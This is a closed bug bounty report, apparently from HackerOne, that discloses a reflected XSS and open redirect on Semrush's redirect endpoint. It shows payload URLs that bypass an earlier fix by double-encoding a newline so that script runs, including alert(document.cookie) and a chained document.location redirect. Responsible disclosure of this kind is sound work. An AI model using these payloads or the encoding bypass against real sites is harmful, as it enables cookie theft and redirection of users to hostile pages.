XSS on redirection page( Bypassed)
Low
S
Semrush
Submitted None
Actions:
Reported by
kunal94
Vulnerability Details
Technical details and impact analysis
Hello Semrush Team,
In this report id ```311330```, I was filled duplicate and redirection url is fixed which made me feel happy as deserving bounty hunter gets a reward.
However, after fixing from last night, I finally bypassed the redirection method which not only Triggered Xss, but also it redirects to somewhere else.
```
https://www.semrush.com/redirect?url=https://(websitelink)
```
#To reproduce
So,I tried to craft a XSS like ```blocked://%0aalert(document.cookie)``` at the end of redirection Url,so it doesn't work.
Afterwards,I encoded %0a to %250a, then modified the payload and injected at the end of url and it works like a charm.
Here are the XSS payloads
https://www.semrush.com/redirect?url=blocked://%250Aalert(document.cookie)
https://www.semrush.com/redirect?url=blocked://%250Aalert(document.domain)
When a particular user clicks the button,it's going to triggered an XSS.
Now,Here comes the tricky part regarding Unvalidated redirection-
Now if you inject ```blocked://%250Aalert(document.location="https://google.com",document.location="https://www.facebook.com")``` at the end of url like this
https://www.semrush.com/redirect?url=blocked://%250Aalert(document.location="https://google.com",document.location="https://www.facebook.com")
and a particular user click go to site,first page will popup google.com and then it's going to redirect to facebook.com.
Please Consider it and let me know.
With Regards
Kunal
(Attaching with Single POC )
F263582
## Impact
An attacker can perform dangerous attacks using XSS.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Cross-site Scripting (XSS) - Reflected